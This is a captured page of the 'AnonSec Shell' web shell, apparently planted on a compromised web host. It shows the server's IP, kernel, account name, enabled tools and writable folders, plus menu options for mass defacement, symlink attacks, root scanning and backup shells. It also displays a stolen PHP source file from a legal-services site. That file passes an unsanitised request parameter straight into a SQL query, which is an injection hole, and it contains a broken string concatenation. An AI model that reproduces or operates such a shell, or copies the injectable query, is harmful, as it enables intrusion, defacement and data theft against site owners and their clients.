AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/ilawasia.onnud20.com/Attachment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/ilawasia.onnud20.com/Attachment/LoadeditAttachmentRow.php
<?php
$ck='not';
include("../include/checkLogin.php");
include("../include/class.php");
include("../include/table_name.php");
$date_year = date("Y");
$date_month = date("m");

$q= $_REQUEST['q'];
$search_attachment = "AttachmentId='".@$q."'";
$sql_attachment = array("table"=>"ct_attachment", "where"=>$search_attachment);
$view_attachment = $view_db->view($sql_attachment);
$row_attachment = $view_db->q($view_attachment);

$ar=0;
$arrayName['DocumentType'] = $row_attachment['DocumentType'];
$arrayName['DocumentName'] = $row_attachment['DocumentName'];
$arrayName['DocumentDate'] = $util_class->day_num4($row_attachment['DocumentDate']);
$arrayName['CaseNumber'] = $row_attachment['CaseNumber'];
$arrayName['CustomerName'] = $row_attachment['CustomerName'];
$arrayName['CustomerCodeName'] = $row_attachment['CustomerCode']."-".$row_attachment['CustomerName'];
$arrayName['CustomerCode'] = $row_attachment['CustomerCode'];

$arrFile = explode("/",$row_attachment['FilePath']);
$suffix = '';
if($row_attachment['Seq'] > 0){$suffix = "-" +  str_pad($row_attachment['Seq'],3,"0",STR_PAD_LEFT);}
else{$txt_series_no = $row_attachment['AttachmentNumber'];}

$arrayName['FilePath'] = $arrFile[count($arrFile)-1];
$arrayName['FilePath_full'] = $row_attachment['FilePath'];

/*
echo "<pre>";
print_r($arrayName);
echo "</pre>";
*/

echo json_encode($arrayName, JSON_UNESCAPED_UNICODE );

 ?>

Anon7 - 2022
AnonSec Team